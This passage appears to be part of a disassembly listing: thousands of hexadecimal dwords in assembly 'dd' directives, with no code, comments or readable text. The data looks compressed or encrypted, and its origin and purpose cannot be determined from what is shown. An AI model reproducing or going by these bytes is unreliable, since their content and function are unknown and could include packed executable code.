801D3DA8h, 8914F87Dh, 7482D58Dh, 468B14h, 32568404h dd 0D2C20975h, 26169359h, 5A2B940h, 62CA8B08h, 3A0CBA0Eh dd 833D8E03h, 367515F9h, 28045896h, 0EB070F95h, 0BD458A2Ah dd 80CA5D30h, 9371ED65h, 0BE410BE9h, 0AF23FE32h, 0CA05C63Eh dd 590CE801h, 300B3ECAh, 42D98817h, 0B82ABD3Ah, 81C7C534h dd 9047B555h, 53263BC7h, 9A8B89FBh, 148A601Bh, 82302668h dd 247A4298h, 0A32FD9D2h, 0A1DBD981h, 30FAFB31h, 0F8687690h dd 33368150h, 8C16A66Eh, 523965DBh, 0AF5ADB9Dh, 99A13053h dd 4DD76F2Ch, 2BAF2923h, 0B6506516h, 0B2A59240h, 0BC2F97E5h dd 632B8E7Ah, 7B09E8F4h, 688D5041h, 69C71403h, 3B033FC9h dd 76830FC1h, 0D5AA4352h, 23B687A3h, 0BD3E120Eh, 0A1C68026h dd 0E463260Ch, 0D2AE3551h, 0DCF88B70h, 5357CC8Ch, 49F9122Fh dd 2712EC36h, 5CB14842h, 2383EC1Bh, 82E386A5h, 3403FE4Ah dd 662D2AB5h, 0E8139BD0h, 18354892h, 0A0C3ED08h, 491B2711h dd 26C8F7CCh, 0F84542B0h, 0B92B2C2h, 0BF4EC782h, 574C54C4h dd 302327E3h, 3874F07Fh, 1CD08DCEh, 0CCA9E57h, 7DE722FEh dd 2CA8F058h, 2228B1D6h, 813E5F24h, 0E39CCA38h, 0DA68CC08h dd 0A67EB3Dh, 0CBB253C1h, 0FAECC447h, 0A7B19393h, 484A2925h dd 3AB1F8CCh, 951442C6h, 87E37412h, 500AAE19h, 0E4A86A1Dh dd 0A48B31E4h, 548B362Ah, 1639CAEh, 0DD3DE9CCh, 9AC9FAB8h dd 0C6810912h, 7BFE5AE9h, 0FB3C8F37h, 0EB4912Bh, 0B13351F0h dd 0DF5B08D4h, 7EB76D79h, 82887247h, 0CA05163h, 4E048A28h dd 32715384h, 76447BB9h, 5B9781FAh, 0D271695Fh, 0BE5B51ACh dd 99861D28h, 92109308h, 2B467B0Eh, 5F670925h, 89274311h dd 393FB516h, 35B16169h, 3EBE1460h, 6F7489E4h, 0E842C455h dd 0E6D7220Fh, 4AEB01C7h, 7D983D80h, 454A0641h, 84A5783Ch dd 0A5AFF08Bh, 2187C8F9h, 0B9053BFh, 8EBC2A7h, 0E0BBD1CDh dd 89A27225h, 8B41E1B0h, 0AEF85DCEh, 2E9D219h, 0B7468975h dd 7574E6C4h, 7610C505h, 180D4503h, 2244AEBEh, 0FFB90E74h dd 6F21A015h, 37EB6979h, 32C0CE43h, 81690972h, 0F5CCA0Ch dd 1C1CF02Dh, 9E0111BEh, 0C473E888h, 0B75A2714h, 0EF59749Bh dd 0E9670204h, 0E81C9544h, 7D2D20F7h, 25D76632h, 0EEF9680Fh dd 47E8D09h, 0E885AD74h, 0D29365D9h, 0DD9EF30Eh, 102491B2h dd 23C81AE2h, 5495B2F8h, 8689C15Bh, 62232A1Ah, 1E122118h dd 22221490h, 264B8D7Fh, 4BA764C8h, 5535A620h, 382C5176h dd 38A5F681h, 0FD90A118h, 533B42B6h, 625C7261h, 96563BF1h dd 9D81EE23h, 240878FFh, 88588B9Ch, 0C718B504h, 438E0327h dd 204F1178h, 2260418Ah, 0B14F9214h, 62FC1C0Dh, 0E8A5E0D8h dd 88A25E26h, 199933C6h, 88FB7C08h, 78A53F54h, 406D25Ah dd 0EA698D55h, 0F03CE3A3h, 0CDF44A73h, 9EFF0179h, 14FC0501h dd 753BB953h, 0A42F4BCBh, 0E07F9875h, 92C2E11Fh, 1009DF0Dh dd 0DF310344h, 0B785BBC0h, 28D30C52h, 21A01F85h, 49FE1413h dd 8445B012h, 0A84A610h, 82D5253Eh, 93BD81D1h, 1D8453AEh dd 1514A262h, 438958Bh, 23242F6h, 623F85A6h, 834FBD44h dd 42242A26h, 0E484C802h, 8CD37503h, 74DA1C4Bh, 0F85D40Ch dd 0EBD30233h, 87E38AFBh, 9D314F76h, 0A5800D94h, 99992BF2h dd 709C6FCh, 188AC673h, 71E80102h, 0A29B53F4h, 3548ED29h dd 0B895448Dh, 0BBAA13FAh, 0C823AA21h, 0E0B1CA03h, 0B0D02B51h dd 4A11E8F0h, 498E646h, 6974DF3Bh, 0E8099FE2h, 39B01EBEh dd 582974F7h, 17A2FF8Dh, 0B1E3E0BDh, 0BC7AB91Eh, 5E884DDDh dd 52762D08h, 47554348h, 87482283h, 7BED48B2h, 0A49081A9h dd 0D868D3D8h, 69420096h, 0B9A7DA0h, 0D03A8E84h, 2E78396Fh dd 69850F0Bh, 0A996F1FEh, 99BA4C8h, 0CB5667CBh, 684F0C4h dd 1E460399h, 81029F50h, 0F411FE2Bh, 11223B75h, 915494CAh dd 110B5815h, 0AE10FB78h, 0D9188B77h, 0C6DF49F6h, 68504C9Ah dd 1DE5E8C2h, 3FE1917Eh, 0A93E8068h, 910C8B6h, 0C6D562CAh dd 7EF9B568h, 6182BB2h, 99C75DC3h, 755B3868h, 0F4618118h dd 0F24C3689h, 8DB0B710h, 0DC8A03BCh, 0FE44588Bh, 1D8B2384h dd 42117D1Bh, 6C10A829h, 235A8D83h, 388FC628h, 748B2033h dd 0BE4C5667h, 6AC6C293h, 47D95F12h, 0A0F64317h, 0BE592F79h dd 4443A9EEh, 218B562Bh, 0B670270Fh, 51895C98h, 0E1FB140Fh dd 1F25086Ch, 380C1286h, 5C9165Dh, 0CD2A5E05h, 3BB07A7Dh dd 3748F7A2h, 0FAD49788h, 0E8834890h, 8F299EE3h, 0A93DAFB5h dd 0C96D17Ch, 0BCC4BAA6h, 0F5A2BA1Ch, 0C4D60A1h, 11834684h dd 2812F727h, 0B40E6875h, 329D0241h, 0E20EA4B1h, 7D10FD4Ch dd 6F6F8C1Ch, 0D82AA11h, 0FE56B504h, 50C9AEE8h, 13D157E6h dd 4387172Ah, 63746398h, 45081A33h, 5263DD76h, 0F4C62B61h dd 299030B9h, 10F0A6D2h, 19858408h, 0C1BEAC9Eh, 0F27D803Eh dd 2A3875C0h, 283220E8h dd 8D64853Bh, 7720237h, 0BCA9D068h, 0A01DB9F6h, 0FE5A08E1h dd 0EC9DD942h, 0AEB55263h, 0B775A540h, 0F549EEDBh, 0AC45AC6Eh dd 7B48E13Ah, 0BB056001h, 913A3550h, 7E1BF26Eh, 91324CE6h dd 0D9DF3D37h, 0EB86134Bh, 4B74D28Ch, 0D03F440Dh, 0F88B461Bh dd 32C4B7E0h, 6AE90395h, 91FAA581h, 23627700h, 58E80923h dd 3864141Bh, 8D4D6851h, 444BAED3h, 4A98FA3Eh, 4424BA06h dd 1F6AB2EDh, 0E86434Fh, 0BE892109h, 247F440Ah, 662B4BD4h dd 9F906353h, 35118446h, 70972DF8h, 26F4B728h, 0C894845Ah dd 0B3A20E52h, 0FD38C4D1h, 181AE921h, 6011D2DBh, 3C9D8B07h dd 6EE80DC4h, 4E540EE1h, 1121B7EBh, 5A27FD38h, 0D8752A62h dd 0F7856321h, 3EB3B70Fh, 8145351h, 21C95037h, 0BD64333Ch dd 3823BDA3h, 0A8844890h, 9C762184h, 0D435C193h, 0D6B4AE0Eh dd 0F5D9BDE0h, 8832759Dh, 29B3E2D6h, 44E47782h, 4E3CFC52h dd 0CC4622BBh, 9D3B6621h, 57086B45h, 7369AFBFh, 0C3DD980Ah dd 9F1E869Eh, 0F02546ECh, 5DA9A443h, 7FF311AFh, 4084E882h dd 0CD0875D3h, 3109E53Eh, 3AA07647h, 0E89A01F8h, 3833F911h dd 5674C5F6h, 50757528h, 8EB4194Ah, 4D8D3D0Bh, 6F3E40F0h dd 44F89E3Ah, 509012E0h, 0F56580F8h, 0E31C6C5Dh, 93278694h dd 0E0F8B19Bh, 0AAEBD551h, 29AC4A42h, 59EC3300h, 3CFD24E9h dd 1986C4EFh, 0EC7AFC22h, 0DB4448EBh, 0EC79FAFDh, 589050E8h dd 45A043C8h, 865C9F45h, 0E2724AD4h, 6551A2D0h, 16588A0h dd 0F5E4590h, 65735A28h, 0D0601B85h, 4A2D94B6h, 0FC0D6C19h dd 3A10647Dh, 94F2523Dh, 0BFE3B12h, 0B79A3058h, 4227A941h dd 0DB04D823h, 466486B8h, 0DE3B461Ah, 2312453Ch, 0AFE80938h dd 0A7EEF518h, 3BC3FD70h, 4A0676FBh, 10B3C39Ah, 0BF34CE64h dd 0DFCFC1F2h, 4194CAD3h, 6B830980h, 0EF384EC9h, 3455D3Fh dd 5E4E1C13h, 4FB0C32Ch, 7DF02818h, 972ED384h, 360204F0h dd 10575812h, 512542A3h, 6DE85666h, 6389E995h, 0FC236619h dd 77064417h, 2ECA037Ch, 890938B8h, 39E3E99Eh, 0A27A6B6h dd 0BE39229Dh, 19FB570Ch, 7895305h, 2C104382h, 174CEBA2h dd 623C91C8h, 6A37FFA9h, 1B542F57h, 6084E4E5h, 68C25FE8h dd 5E7684F0h, 22F9C9E2h, 2011703Eh, 4208296Eh, 82898D77h dd 0BE9333DEh, 0EF9CD7EBh, 852CBB63h, 0E1E81009h, 0E32BF417h dd 0FA8C4759h, 98578CF4h, 9F148E8Ch, 0B5E8F70h, 0C1332780h dd 510B9D43h, 7C193A78h, 2A0D4804h, 9F4DFC34h, 88E601F8h dd 32A90168h, 13B39B10h, 0AEA8C4Ah, 0A75E0504h, 6858EDEh dd 0A317A9EBh, 6A2491BEh, 45F13F01h, 39F58A6Ah, 930C2983h dd 8AA1F816h, 9E49B82Ah, 85A4127Bh, 7D04D8FFh, 1352F846h dd 5314A04Eh, 5F02576Bh, 0F839BFC6h, 57F4A589h, 0C0D3192h dd 9B82AAAh, 0EA1FBA96h, 0DB183A93h, 0B8046A81h, 5BF82CEBh dd 0C73B6355h, 23744106h, 952F8868h, 0B816E885h, 488D8281h dd 4E89DD0Fh, 167E2AA2h, 78692C76h, 56712EEAh, 4B781B71h dd 0F621B120h, 8A17D964h, 0BE419694h, 3ABEA4F5h, 2C2CA029h dd 0FAD09263h, 0FA92E18Ah, 1122A982h, 6814411Dh, 443E524Ch dd 8667732Ch, 97971444h, 74600FD4h, 9DC4EB02h, 5FAE21Eh dd 0BC0CA789h, 0FB11FD47h, 14ED8F15h, 443C2517h, 0CACA5E9Eh dd 21E659E9h, 6F7408BCh, 24AEA7C4h, 0B4131692h, 19BD30F9h dd 86D56814h, 4AACF548h, 5815B497h, 0B4DB3388h, 144D2180h dd 0BB97D668h, 3FC19A94h, 1D479D88h, 0BDD5BFA6h, 0C14BED74h dd 0A39D4573h, 0D74246Ah, 912DB9E8h, 4E4C910Ch, 100AB832h dd 3B7A0444h, 1C027233h, 9B3D2253h, 9AD87E9Fh, 1A251240h dd 5702A0C3h, 0E80B750Dh, 4660216Ch, 0FBABBDFFh, 6D551E52h dd 6B13CA46h, 0CFFC740h, 5468828Bh, 3756A0B8h, 0B52D69E8h dd 0FC0B1BB0h, 0D845CEAh, 4AAE24A8h, 110E4E31h, 64F88AA0h dd 0E9829BFh, 3295F41Fh, 7F282572h, 0DE47425h, 4D746B1h dd 7D75F0B9h, 75DDEC48h, 0F8171195h, 0B7302C90h, 0CB2310D8h dd 162EA8F4h, 0D22B0EFh, 5DC259Fh, 0F0081522h, 0F9832233h dd 14F48CABh, 0A164221Ch, 77468CD2h, 0FCBC281Ah, 63C5213h dd 2520FD21h, 145B1C90h, 3C2249E6h, 0BC7C5AC8h, 57BF7528h dd 0FC211789h, 0C8D06C10h, 1017722Bh, 685CC8BCh, 175B15D1h dd 4C8A7290h, 1AE49317h, 141A2F46h, 31E80718h, 91DCFC5Fh dd 190BBD62h, 0B4C8C459h, 713550C5h, 3D43F4CAh, 1315BC29h dd 6E6336C0h, 0C71E204Ch, 0F3EF958Eh, 29953A65h, 0F39F0EFh dd 10E8A6C9h, 0F9778D08h, 0F0F5602Bh, 134168E8h, 6B45A46Dh dd 2F214B31h, 0E8F62C2Bh, 0C9B48B4Dh, 777796FCh, 352984E4h dd 0A9A4A595h, 576CCBE2h, 0B0B6B17h, 62B14513h, 0C21B43AFh dd 0FEB83086h, 8E6B7788h, 195D80FCh, 15D810AFh, 9812354Ch dd 0E153F90Fh, 0C308FD70h, 0B53C1246h, 5FB95F47h, 0EB240269h dd 0B6A81EFCh, 0A0922020h, 0A1117DEFh, 33087098h, 0E5E91384h dd 0EC1A2106h, 14D20C6h, 0F4E44AC9h, 0EC0318DDh, 9864E880h dd 1AA8BD1h, 51E44D85h, 0B306E153h, 1A38BCD8h, 98681D75h dd 87381177h, 88463FA1h, 8F446BEDh, 70270E54h, 0E2744CB1h dd 10891C22h, 6182942Ah, 0E4150C82h, 0F0595D23h, 40394886h dd 6DA5390Fh, 922B10h, 0C0558DC9h, 28F15253h, 27595827h dd 7F22F751h, 55B205FCh, 0ED461E74h, 0EC83001Fh, 0C0758D10h dd 71B5FC8Bh, 2A59824h, 67A31868h, 7AB7FBCCh, 220CB46h dd 0CD84DC42h, 51DC7114h, 0CDC00895h, 44CFA477h, 19850C3Ch dd 4A3947B8h, 1F9B2132h, 4790E845h, 84629FB0h, 0D8034060h dd 0A26D1085h, 26B024D8h, 546489CFh, 8E867D1Ah, 64375536h dd 78D004FEh, 0C40448D4h, 3D8BD082h, 813515Dh, 680AF844h dd 94FE314h, 6550C4D7h, 0D4E0F4ECh, 0F04761BBh, 78530313h dd 83EAD0E0h, 3F48E0C8h, 0B2850614h, 0CF283444h, 20EF5E13h dd 0B4A410C0h, 4E1F269Eh, 73C13B83h, 9BC98B33h, 76F3C1D2h dd 0E843C22Bh, 3AB0035Dh, 0ECBC5AC3h, 0FA44104Bh, 7EB2C05h dd 410A2288h, 0D69181F5h, 9CF9DE72h, 1D8D43F9h, 148D14EBh dd 98A7BF9Eh, 8B0A9E43h, 93B50435h, 84CAFCBFh, 0CCBE5C85h dd 4DCAD683h, 3E4D0AF6h, 58AEF56Eh, 85368BAh, 5D625D4h dd 758030D0h, 6F9D38F0h, 256A2B09h, 67504553h, 49B279F8h dd 0C8888B54h, 91DE4288h, 424C1411h, 5B8847BCh, 32D4D6ACh dd 0A8880421h, 91D088FCh, 0F1EABE65h, 1154091Ah, 6B0FFCFDh dd 2B2BF4A6h, 8EE99013h, 37695E40h, 1A726534h, 188810CFh dd 9B9D55E7h, 1A284565h, 646488A7h, 39183237h, 0A16F0D58h dd 52A82AA9h, 0FF7CC2E4h, 0E0D421D7h, 817B4376h, 22CB3AFEh dd 0D3D2370h, 0C158512Ah, 4D8C0922h, 803F1275h, 7440F90Ch dd 0EA2E0A0Ah, 755F8005h, 88250B62h, 472DA38Ch, 403B8A46h dd 90BD72C4h, 3808FF94h, 8D1A24B0h, 401346B5h, 5B0FD41Fh dd 7D5BED86h, 56489995h, 1404FF91h, 4A8B54BFh, 43AE099h dd 9C0EEEF6h, 13AE110Eh, 0F445DB42h, 0D0660A7Fh, 1B19C61Eh dd 4035C342h, 2277AD04h, 844F84FFh, 0A46FCA0Dh, 13195A4Ah dd 214A4A91h, 0A3EA2C86h, 2040883Ch, 8D405629h, 93090674h dd 7102245Ah, 0FC31E218h, 8814211Bh, 1B6A8FDCh, 0E50184B4h dd 390440B6h, 148C0F8Dh, 95572247h, 295DE26Eh, 87FC45B8h dd 0DE9E889h, 42F3DC3Eh dd 0F4BE37C2h, 1965C587h, 230DBB56h, 8813D012h, 0A1C848C9h dd 86A0911h, 157B2996h, 0ECC56D99h, 0E29E5A48h, 17995B75h dd 14D60DE4h, 0E44A444Dh, 8717F064h, 9A5484BAh, 429C8A4Fh dd 0F48EA9B8h, 0E56BE993h, 0F1885410h, 0C40A0D17h, 116A0D04h dd 29AF0CEAh, 52909640h, 85FE18C9h, 0F7496229h, 0BC59E4E1h dd 643952A3h, 49584B1Dh, 0FB4F05E9h, 52D8ABD2h, 9A6E9C98h dd 0F3C23D92h, 0E9A1F1CBh, 450B4187h, 13590DCh, 2CF9E884h dd 0C417D2DDh, 2176B677h, 0B7F0E40Ch, 90048A68h, 26EDC267h dd 5B849229h, 0E425DC65h, 0FC5D881Ah, 136342AEh, 0EC200A53h dd 21D94D83h, 0F4C96F11h, 0D95F96CAh, 7E46A7F5h, 24533D4Eh dd 9C3580A0h, 0B6562A6h, 3C090817h, 30896062h, 1F101E6h dd 8B1C63D1h, 197C21FDh, 72643A60h, 846DF7EAh, 1721FE44h dd 0D609180Bh, 790B1911h, 99DB7889h, 0EC02F006h, 0DB330801h dd 0AE935F29h, 5D53A092h, 6A0A9859h, 8C631507h, 0B16EC8Ah dd 76EC0F45h, 549FC29Fh, 0F47D0A3Eh, 3278641Eh, 327A6563h dd 6C39EC35h, 8287490Ch, 0FB814308h, 908C917Fh, 0BC7F5C31h dd 0EBBBCBF2h, 0DBE6408Eh, 748A5F2Ch, 0D7E2E090h, 2DA866B7h dd 0E0E601F8h, 0AF358B2Fh, 7CD62978h, 0CC34202Bh, 14566A5Eh dd 140130A1h, 3BF02D62h, 46904E4Bh, 0C64244B8h, 0B48B940h dd 33297400h, 0F45539D2h, 0F8244075h, 0F0811FEAh, 0EC031AE9h dd 80415FAh, 10E7A613h, 590A6395h, 12955EBh, 8B047408h dd 0D102EDD9h, 994BBCD8h, 0F81275F9h, 0F13767BFh, 7D836313h dd 0D1EC0FE7h, 0F481D015h, 0C110B0B1h, 52747053h, 849C3897h dd 0A7278489h, 93CC58Bh, 155B6340h, 218DB627h, 2270097Eh dd 9423863Ah, 9990F8Ah, 61EA1310h, 0F8D23EE2h, 0E6388CCDh dd 1672D23Ah, 6061EF8Bh, 727F4E7Fh, 0D1571A2Fh, 50220AC4h dd 2C65641Ah, 98C6EE0Fh, 0D22BE77Ah, 3C7DC8A6h, 83147002h dd 6AB558C6h, 7F83C3EEh, 5885956Ah, 0E437672Eh, 0B2B0FB63h dd 720113FBh, 0B44B4A13h, 79E88594h, 481B63FFh, 88023021h dd 61908B10h, 30430B2h, 49118432h, 3A18200Bh, 0C8C47204h dd 96314284h, 3A9EDDEBh, 9CB88C70h, 261C9219h, 0C2C008DEh dd 103803ABh, 577A84FCh, 1149658Ch, 0CEA2FB8Ah, 0BC7F1951h dd 71B949EAh, 23530FA0h, 0BAAC15Bh, 0DE0B89BBh, 0A433E57Dh dd 1BE6A6E2h, 8E1095EBh, 0AE4FF690h, 4D04C357h, 24262270h dd 0EA06DE97h, 89A22FE2h, 0FE2903BBh, 10C011EAh, 661907FFh dd 890216C7h, 0EB0C4738h, 8356D6Ch, 3F16EBBCh, 0BFA85650h dd 6B3386E3h, 76BC2A53h, 0D80FC968h, 9324E1D6h, 7C569843h dd 0F646B578h, 222A6C56h, 5518905Ch, 5260AC14h, 1818ED10h dd 0F194FE44h, 89537008h, 42A44AD4h, 9DFB4411h, 6A0D8FF7h dd 23B1133Fh, 0ACB00897h, 44AAB43Eh, 42FB103Ch, 82841AE8h dd 9274B06h, 4CD67FD0h, 21112B51h, 0EF24A2DBh, 2D94CA6Ah dd 553764E0h, 1894D65Dh, 0E53348D0h, 966EE4AAh, 0D12ED873h dd 5438A183h, 0C4668214h, 1522FF54h, 0EE07312Ch, 0A0D41E6Ch dd 546485D8h, 7028A8E6h, 3B568110h, 0A48DBD98h, 59392FC3h dd 2842803h, 7BE16385h, 0CDDFA8CCh, 842E1173h, 8A3405AAh dd 0EB06168Dh, 9514CA1Eh, 0BC547E09h, 0CF008B10h, 0C83BCA2Bh dd 20FA773h, 0C10C4FB6h, 1C9804E9h, 8B288F34h, 0B29018CEh dd 0D6832769h, 0A90616DDh, 376D3775h, 0B20E5C9Bh, 382110D2h dd 0D331A65Dh, 92C7A604h, 1033FBEEh, 8801FC28h, 3270E4ACh dd 8B6621E8h, 2A9C3F07h, 75C2A13Bh, 84101F4Bh, 84D0A8C9h dd 0AA88E042h, 0DC126AA4h, 0F4BEAA64h, 6E9BCE45h, 8D3D6927h dd 15F0AB15h, 3C808008h, 0BA0D313Fh, 80AD5E04h, 38142D3Eh dd 3E3B080Ah, 0B50718A8h, 810157Eh, 54866651h, 16891E38h dd 8A009E98h, 0FA803014h, 0C1097D7Fh, 47E1F0Ah, 4131F488h dd 1C384003h, 3FE97530h, 1BF88A39h, 8E88CB3Bh, 0B732B622h dd 0B5454AF4h, 0DDFB8913h, 0F7A724C3h, 4AF8418Ah, 8948D6Eh dd 908D7421h, 0A02888F8h, 24735D6h, 9AA2EB4Bh, 0EFD11ED0h dd 0F7881546h, 2F90FB2h, 7E666068h, 0FC49035Fh, 834A57F8h dd 8280465Dh, 2DB3581Ch, 0BFF949D1h, 29AF59B4h, 0C2836C08h dd 0DD86BFE8h, 0F6B52796h, 151AC9BEh, 7005DA54h, 4A567FB8h dd 20AF5C52h, 3577319h, 528CF05Eh, 4359A685h, 0D10C2178h dd 17C81B66h, 7FA47B6Eh, 2E7D75A0h, 9C1AB72h, 0AC7FE9F4h dd 0B5561118h, 1022716Eh, 5DC523FCh, 2703ABC2h, 7251A805h dd 77EEA26Ah, 8916D1B7h, 6E7F0446h, 0FA16D3B3h, 0B613D756h dd 2AA599FBh, 8D13E5F3h, 0C627B046h, 6CCF486Ch, 8B1BD18h dd 633AD08h, 9FB0BE7Bh, 0F572ACDCh, 157C31E2h, 8D17EB2Ch dd 551DDBF2h, 2425E00Ch, 9330575Ch, 33417868h, 34C7E5ACh dd 3237F66Ch, 2FAC840Bh, 0C30C8392h, 56568E73h, 9B954023h dd 62AC0357h, 0F757324Ah, 89067529h, 0CC82798h, 569BF70h dd 8655C47Ah, 0AC2FFA12h, 4F20C8C7h, 0DB5EBB40h, 9D98D7B6h dd 0B8C5A956h, 44E6F7FEh, 7776E811h, 10C299B5h, 28D80E52h dd 40590A1Eh, 5CFC227Fh, 0E8129708h, 3B45E164h, 0A8882CA9h dd 2751717Ch, 55DCDCB8h, 0DD032F89h, 0E9BF3C4Ch, 0D996FC9Bh dd 7B49F933h, 8E0C3515h, 87676C8h, 320D73BFh, 57260416h dd 6811E10Eh, 0B3212A54h, 404EEA4h, 0BE0289FFh, 6FBD7ACCh dd 6351FD8h, 51C4D4Ch, 0AAC2EDE8h, 2E4825D3h, 0FF84579Bh dd 89092104h, 17ED1184h, 0A12E73F5h, 88AC7EDCh, 0C981D2D6h dd 1AD6E821h, 620D0034h, 58E90B33h, 22D81022h, 6E22A065h dd 0F56A0791h, 58325BEh, 18A29435h, 9333100Dh, 57A1458Ch dd 9C9D87C7h, 0D05AA310h, 0A19328A4h, 8908D40Ah, 21D84284h dd 5FDC117Fh, 853421BBh, 0EE9655E0h, 75C546F7h, 6E2DE113h dd 1FDD1DDh, 465E8214h, 7BE82C98h, 0C00410A2h, 0D674300Ch dd 5BC1980h, 425C31DFh, 0D82B07BCh, 0BE2689ACh, 940D3B44h dd 0D5DA2749h, 7F3EB519h, 2F78F6E3h, 7DA63D4Fh, 501C7D14h dd 0FC690268h, 1A227408h, 0C410257h, 78376381h, 10569C35h dd 0B1DC4E08h, 5EFE40Ch, 3B2799EBh, 29E88688h, 9847DE6h dd 6DEA2A58h, 832EA922h, 741923A1h, 14094862h, 9CEF02B7h dd 485C85A0h, 0ECCAC15Eh, 0EB0E2883h, 1D85CAC4h, 68BC133Ch dd 0E8E033EFh, 9B450AEDh, 29A08A4Bh, 21D1A076h, 1996EEDCh dd 1429E1F9h, 0C2A237Ah, 0B87B8FD1h, 0E925179Ah, 40354954h dd 3893B7BAh, 13B9E374h, 9DBB142Ah, 193A2318h, 48474DE9h dd 0C9FEDBD8h, 0D93850Fh, 76F2E8DAh, 84343853h, 0E6EE13F6h dd 0CCBE974Ch, 110B74FAh, 5490F868h, 95AFE4A9h, 0EEE7AA0Eh dd 6CFCBD7Eh, 213C2586h, 0A9D0EC81h, 0C80CCC06h, 21C44386h dd 0C8BC90C0h, 32B464B8h, 0CAC19B0h, 0A44386A8h, 0CC6CA022h dd 0A99C1403h, 6529810h, 0C901994h, 8853868Ch, 12014628h dd 46353D51h, 7248C0BEh, 0E9508114h, 5A22D0Ch, 18202842h dd 0C82BEC73h, 1AC48B37h, 867E147h, 50044080h, 84C1C8C3h dd 7C328064h, 2CB4EB6h, 14B62253h, 0F168D00Bh, 1910A699h dd 65E82B0Ch, 0D081166h, 0EB18C263h, 64A2E650h, 1054355Ch dd 0E9D11C16h, 0EA1DDB9Dh, 0C90BD880h, 6EF7F475h, 648C38F3h dd 0BC0917Ch, 72D10310h, 4B3B630Eh, 11670877h, 2B867653h dd 1B10330Ch, 117E1424h dd 5CF70C88h, 833A2BDAh, 0C25B1570h, 0C6A48310h, 1857AFFFh dd 43142281h, 8BD82910h, 0EBD31130h, 4B81A641h, 8A81BD14h dd 0F0F9810Ch, 45451813h, 5CE6F9C5h, 7891084h, 1760C10h dd 8B9A4E61h, 73445EC6h, 6978FC08h, 7320A170h, 1207515h dd 0D0AD0F06h, 49C3EAD3h, 1FE1FCE5h, 0C2BAE8F4h, 893014D4h dd 13243674h, 15535657h, 7D8E2422h, 4886478Ah, 74CA20C6h dd 0DD45B883h, 15952B29h, 18881C1Ch, 29141C71h, 1424E2D7h dd 0F98E102Ch, 0B0541A52h, 0E4EBD1F5h, 44D7A6D9h, 4386F1DBh dd 6418211Ch, 38107214h, 22FD754Fh, 5F5E8553h, 4670E232h dd 66C54E4h, 64438668h, 5C906021h, 546458C8h, 4C195032h dd 4386480Ch, 90402144h, 6434C838h, 192C3230h, 2C202328h dd 0D42E9A6Ah, 0B34B96CAh, 346CB3D8h, 8D098D16h, 5422E978h dd 35B3A328h, 57F93D64h, 7DA3A197h, 0C4095B88h, 8DA58343h dd 6852E855h, 1C919770h, 7C248D11h, 0AC6A3B31h, 94894A25h dd 1FE6C66Ah, 1635C0DFh, 61B1A1EEh, 0C1EC3B5Dh, 0DC960993h dd 740A31D1h, 0D42F4704h, 0CCE86733h, 0C22FC9C1h, 949BD70Ch dd 61C54A5Fh, 0E3262AEh, 68E01855h, 0CB236FC8h, 121DCFCDh dd 766004B1h, 666983F1h, 0F0B2665Eh, 0C40627C7h, 1EC0C664h dd 800D7408h, 0E163907Ch, 3C17662Eh, 0ADD83E90h, 0C841E85Dh dd 80BF675h, 4A41DD01h, 7F943FA2h, 4E041C0Ah, 6648AFCFh dd 295E4E89h, 20570840h, 55C052B1h, 619D4943h, 6F38E83Fh dd 4BDC59C9h, 0AF23ADFDh, 20B4DA01h, 257BB004h, 0CA6AD448h dd 1C910618h, 1A238142h, 95392144h, 24282044h, 0F9689824h dd 4DE9EC0Fh, 109E3AF0h, 0CF1C10E4h, 671408DCh, 440C84D8h dd 89760B8h, 0E17F36A6h, 80BD015Eh, 0 dd 2D387200h, 9603201h, 48922482h, 22B891A6h, 0F0DA44CAh dd 812E0288h, 111A052h, 102B2633h, 4092216h, 442AEC20h dd 0BA89C8E0h, 9E24AC12h, 72918848h, 50446222h, 12368942h dd 481A2426h, 29FE880Ch, 0D8893A19h, 9C61199h, 24A012B6h dd 916A4894h, 44462254h, 16892A32h, 0F2220812h, 4C920528h dd 2A11E490h, 9892C6Ch, 135C894Ch, 66A13250h, 86247609h dd 0BC91A248h, 0DE44CC22h, 997E89FAh, 0EA591289h, 32C01191h dd 24A409B0h, 917E4898h, 50014072h, 958C9CCh, 137A8964h dd 0A0E132ACh, 8C249609h, 0F8888248h, 11781926h, 68099170h dd 50445A22h, 123C8946h, 48222432h, 10069112h, 0E02227F4h dd 89D0D844h, 24BE12C8h, 91A848B4h, 4494229Eh, 7C89848Ch dd 6A247412h, 58916048h, 44444E22h, 1232893Ch, 481E2428h dd 220C9116h, 2E442B02h, 6C819C4h, 28084280h, 49DE1099h dd 0FC0991F8h, 222D1210h, 0D8304920h, 975904CCh, 911609C8h dd 44152212h, 5891302h, 17240A12h, 33910C48h, 1446F22h dd 12708903h, 48342409h, 220B9106h, 14084410h, 11127489h dd 493CC24h, 73113239h, 9CB80D09h, 8337126Fh, 0FF46173Ah dd 6C2D1C03h, 9431A40h, 19F1010Fh, 3E186D26h, 1C1094D2h dd 1D411474h, 32433A8Ah, 86561140h, 2008230Ch, 486218B5h dd 2193611h, 20A89180h, 0C30CE834h, 304322D0h, 8AF69001h dd 5DA14E8h, 1432F03Ch, 88489DA0h, 565C2318h, 3CD01430h dd 81143829h, 19930520h, 42801304h, 5E40149h, 2319605Ch dd 1044681Ch, 11C87050h, 42789002h, 0A288D198h, 18D12210h dd 0A0300532h, 99FE5C32h, 2185C014h, 72012590h, 7848C064h dd 8C52118h, 14282680h, 220888D8h, 8724A880h, 82CD008h dd 64142030h, 2D46B128h, 7929EC03h, 1A642878h, 519050C9h dd 3238F35Ch, 5451E429h, 9E441496h, 1178ADCh, 5575782Ch dd 0C002BA0Fh, 70637274h, 0BE14C879h, 6E656C41h, 6DD19103h dd 6FD1E761h, 0D05E0363h, 0E3657266h, 2497109Bh, 90262ABFh dd 0B6E8AC1h, 0B714B21Bh, 0CBBF69A7h, 4CAC8F66h, 0E06B5D63h dd 7326A199h, 0B6DF2ACFh, 15616656h, 65F48464h, 663B9ADCh dd 0F75C7710h, 144C999Bh, 15735F32h, 700C0F57h, 66A05DE3h dd 0B0986461h, 0CE2E10DBh, 0C63D7890h, 40696F74h, 398CB56Eh dd 0C2B86E8Ah, 0D850C528h, 1AE1407h, 6E535F7Bh, 8CC02B78h dd 3DF86D1Fh, 0B38268A7h, 26AF49C7h, 70F16978h, 0F25F66F1h dd 4150F06Fh, 6969659Ch, 20508D0Eh, 701632B1h, 9468DD74h dd 24E764A4h, 0A6994572h, 67E56228h, 7F689794h, 0DC243E6Ch dd 0D5760229h, 3F5E274Bh, 59403310h, 50583741h, 205A7606h dd 8B320F44h, 10491F28h, 2A029E2Bh, 0CFEEB814h, 0D33DF06Dh dd 774DE96Eh, 4DA821BCh, 0E1140232h, 2D76B285h, 